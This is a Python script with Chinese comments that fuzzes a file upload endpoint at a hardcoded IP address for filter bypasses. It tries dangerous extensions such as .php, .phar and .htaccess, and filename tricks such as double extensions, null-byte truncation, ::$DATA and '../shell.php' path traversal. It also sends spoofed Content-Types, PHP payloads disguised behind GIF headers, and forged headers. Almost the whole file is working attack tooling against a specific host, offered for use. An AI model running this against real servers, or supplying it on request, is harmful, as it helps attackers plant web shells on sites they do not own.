213 lines
7.7 KiB
Python
213 lines
7.7 KiB
Python
import requests
|
|
import os
|
|
import random
|
|
import string
|
|
from urllib.parse import quote
|
|
|
|
# --- 配置 ---
|
|
TARGET_URL = 'https://150.40.239.108/ucard_upload.php'
|
|
TEST_CONTENT = b'This is a test file content.'
|
|
LOG_FILE = "upload_test_log.txt"
|
|
|
|
if not os.path.exists('test.tmp'):
|
|
with open('test.tmp', 'wb') as f:
|
|
f.write(TEST_CONTENT)
|
|
|
|
def log_write(msg):
|
|
with open(LOG_FILE, "a", encoding="utf-8") as f:
|
|
f.write(msg + "\n")
|
|
|
|
def print_banner(title):
|
|
banner = f"\n{'=' * 60}\n[*] {title}\n{'=' * 60}"
|
|
print(banner)
|
|
log_write(banner)
|
|
|
|
def perform_upload(filename, content, content_type='application/octet-stream', extra_headers=None, extra_data=None):
|
|
files = {'file': (filename, content, content_type)}
|
|
try:
|
|
r = requests.post(TARGET_URL, files=files, data=extra_data, headers=extra_headers, timeout=5)
|
|
if "success" in r.text.lower():
|
|
return True, r.text
|
|
else:
|
|
return False, r.text
|
|
except Exception as e:
|
|
return False, str(e)
|
|
|
|
def fuzz_extensions():
|
|
print_banner("1. 探测文件扩展名")
|
|
ext_groups = {
|
|
"Web脚本": ['.php', '.php3', '.php4', '.php5', '.phtml', '.phar', '.pht', '.inc', '.phps'],
|
|
"Web配置": ['.htaccess', '.user.ini', '.web.config', '.htpasswd'],
|
|
"常见文件": ['.jpg', '.jpeg', '.png', '.gif', '.bmp', '.txt', '.html', '.zip', '.pdf', '.docx'],
|
|
"可执行文件": ['.exe', '.bat', '.cmd', '.sh', '.ps1'],
|
|
"其他脚本": ['.jsp', '.asp', '.aspx', '.pl', '.py', '.cgi', '.rb'],
|
|
"特殊类型": ['.svg', '.xml', '.json', '.log', '.swf', '.jar']
|
|
}
|
|
|
|
allowed = []
|
|
for group, exts in ext_groups.items():
|
|
print(f"\n--- {group} ---")
|
|
for ext in exts:
|
|
filename = f"test{ext}"
|
|
success, resp = perform_upload(filename, TEST_CONTENT)
|
|
status = "✅ ALLOWED" if success else "❌ DENIED"
|
|
print(f"{ext:<10} {status}")
|
|
if success:
|
|
allowed.append(ext)
|
|
log_write(f"[+] Allowed extension: {ext}")
|
|
|
|
print("\n--- [结论] ---")
|
|
if allowed:
|
|
print(f"✅ 允许的扩展名: {', '.join(allowed)}")
|
|
log_write(f"[结论] 允许的扩展名: {', '.join(allowed)}")
|
|
else:
|
|
print("❌ 未发现允许的扩展名")
|
|
log_write("[结论] 未发现允许的扩展名")
|
|
return allowed
|
|
|
|
def fuzz_filename_tricks(allowed_ext):
|
|
if not allowed_ext:
|
|
return
|
|
base_ext = allowed_ext[0]
|
|
print_banner(f"2. 文件名绕过技巧 (基础扩展名: {base_ext})")
|
|
|
|
tricks = {
|
|
"大小写混淆": f"SHeLL.PHP",
|
|
"双扩展名1": f"shell.php{base_ext}",
|
|
"双扩展名2": f"shell{base_ext}.php",
|
|
"末尾加点": f"shell.php.",
|
|
"末尾空格": f"shell.php ",
|
|
"::$DATA": f"shell.php::$DATA",
|
|
"空字节截断": f"shell.php%00.jpg",
|
|
"换行符": f"shell.php\n",
|
|
"URL编码": f"sh%65ll.php",
|
|
"超长后缀": f"shell.{'a'*100}",
|
|
"非ASCII字符": f"shell中文.php",
|
|
"路径穿越": f"../shell.php",
|
|
"多后缀组合": f"shell.php.{base_ext}.png",
|
|
"分号截断": f"shell.php;.jpg",
|
|
"反斜杠": f"shell\\.php",
|
|
"双引号包裹": f'"shell.php"'
|
|
}
|
|
|
|
for desc, fname in tricks.items():
|
|
success, _ = perform_upload(fname, TEST_CONTENT)
|
|
status = "✅ SUCCESS" if success else "❌ FAILED"
|
|
print(f"{desc:<20} -> {fname:<30} {status}")
|
|
if success:
|
|
log_write(f"[+] Filename trick success: {desc} | {fname}")
|
|
|
|
def fuzz_content_types(allowed_ext):
|
|
if not allowed_ext:
|
|
return
|
|
base_ext = allowed_ext[0]
|
|
print_banner(f"3. Content-Type 绕过检测 (文件: test{base_ext})")
|
|
|
|
ctypes = [
|
|
'image/jpeg', 'image/png', 'image/gif', 'image/bmp',
|
|
'text/plain', 'text/html', 'text/xml',
|
|
'application/octet-stream', 'application/x-php', 'application/json',
|
|
'multipart/form-data', 'application/x-www-form-urlencoded',
|
|
'application/zip', 'application/pdf',
|
|
'invalid/type'
|
|
]
|
|
|
|
for ct in ctypes:
|
|
filename = f"test{base_ext}"
|
|
success, _ = perform_upload(filename, TEST_CONTENT, content_type=ct)
|
|
status = "✅ ACCEPT" if success else "❌ REJECT"
|
|
print(f"{ct:<30} -> {status}")
|
|
if success:
|
|
log_write(f"[+] Content-Type bypass: {ct}")
|
|
|
|
def fuzz_content(allowed_ext):
|
|
if not allowed_ext:
|
|
return
|
|
base_ext = allowed_ext[0]
|
|
print_banner(f"4. 文件内容绕过检测 (扩展名: {base_ext})")
|
|
|
|
gif_header = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b'
|
|
|
|
contents = {
|
|
"纯文本": b"Hello world",
|
|
"GIF文件头": gif_header,
|
|
"PHP标签": b"<?php phpinfo(); ?>",
|
|
"短标签": b"<?=phpinfo()?>",
|
|
"GIF+PHP": gif_header + b"<?php phpinfo(); ?>",
|
|
"PHP+GIF": b"<?php phpinfo(); ?>" + gif_header,
|
|
"JS脚本": b"<script>alert(1)</script>",
|
|
"HTML+PHP": b"<html><?php echo 'x'; ?></html>",
|
|
"Base64编码PHP": b"PD9waHAgcGhwaW5mbygpOyA/Pg==",
|
|
"UTF-16 BOM + PHP": b'\xff\xfe<?php phpinfo(); ?>',
|
|
"注释包裹PHP": b"/* <?php phpinfo(); ?> */",
|
|
"空字节截断内容": b"<?php\x00",
|
|
"超大文件": b'A' * 100000
|
|
}
|
|
|
|
for desc, payload in contents.items():
|
|
fname = f"content_test{base_ext}"
|
|
success, _ = perform_upload(fname, payload)
|
|
status = "✅ UPLOADED" if success else "❌ BLOCKED"
|
|
print(f"{desc:<20} -> {status}")
|
|
if success:
|
|
log_write(f"[+] Content bypass: {desc}")
|
|
|
|
def fuzz_headers_and_params(allowed_ext):
|
|
if not allowed_ext:
|
|
return
|
|
base_ext = allowed_ext[0]
|
|
print_banner(f"5. 请求头与参数绕过检测")
|
|
|
|
headers_list = [
|
|
{"User-Agent": "Mozilla/5.0"},
|
|
{"User-Agent": "curl/7.68.0"},
|
|
{"X-Forwarded-For": "127.0.0.1"},
|
|
{"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryABC"},
|
|
{"Referer": TARGET_URL},
|
|
{"Authorization": "Basic dXNlcjpwYXNz"},
|
|
{"Cookie": "sessionid=abc123"}
|
|
]
|
|
|
|
for i, headers in enumerate(headers_list):
|
|
fname = f"header_test{i}{base_ext}"
|
|
success, _ = perform_upload(fname, TEST_CONTENT, extra_headers=headers)
|
|
status = "✅ SUCCESS" if success else "❌ FAILED"
|
|
print(f"Header Set {i+1} -> {status}")
|
|
if success:
|
|
log_write(f"[+] Header bypass set {i+1}: {headers}")
|
|
|
|
print("\n--- 多参数测试 ---")
|
|
multi_params = [
|
|
{"file": ("test.php", TEST_CONTENT), "name": "test.jpg"},
|
|
{"file": ("test.jpg", TEST_CONTENT), "upload": "1"},
|
|
{"file": ("test.php", TEST_CONTENT), "type": "image/jpeg"},
|
|
{"file": ("test.php", TEST_CONTENT), "token": "fake_csrf_token"}
|
|
]
|
|
|
|
for i, params in enumerate(multi_params):
|
|
try:
|
|
r = requests.post(TARGET_URL, files=params, timeout=5)
|
|
success = "success" in r.text.lower()
|
|
status = "✅ SUCCESS" if success else "❌ FAILED"
|
|
print(f"Multi-param {i+1} -> {status}")
|
|
if success:
|
|
log_write(f"[+] Multi-param bypass {i+1}: {params}")
|
|
except Exception as e:
|
|
print(f"Multi-param {i+1} -> ERROR: {e}")
|
|
|
|
# --- 主执行 ---
|
|
if __name__ == '__main__':
|
|
allowed = fuzz_extensions()
|
|
if allowed:
|
|
fuzz_filename_tricks(allowed)
|
|
fuzz_content_types(allowed)
|
|
fuzz_content(allowed)
|
|
fuzz_headers_and_params(allowed)
|
|
else:
|
|
print("\n[!] 未发现任何允许的扩展名,后续测试无法进行。")
|
|
|
|
if os.path.exists("test.tmp"):
|
|
os.remove("test.tmp")
|
|
|
|
print("\n[*] 所有测试完成,日志已写入 upload_test_log.txt")
|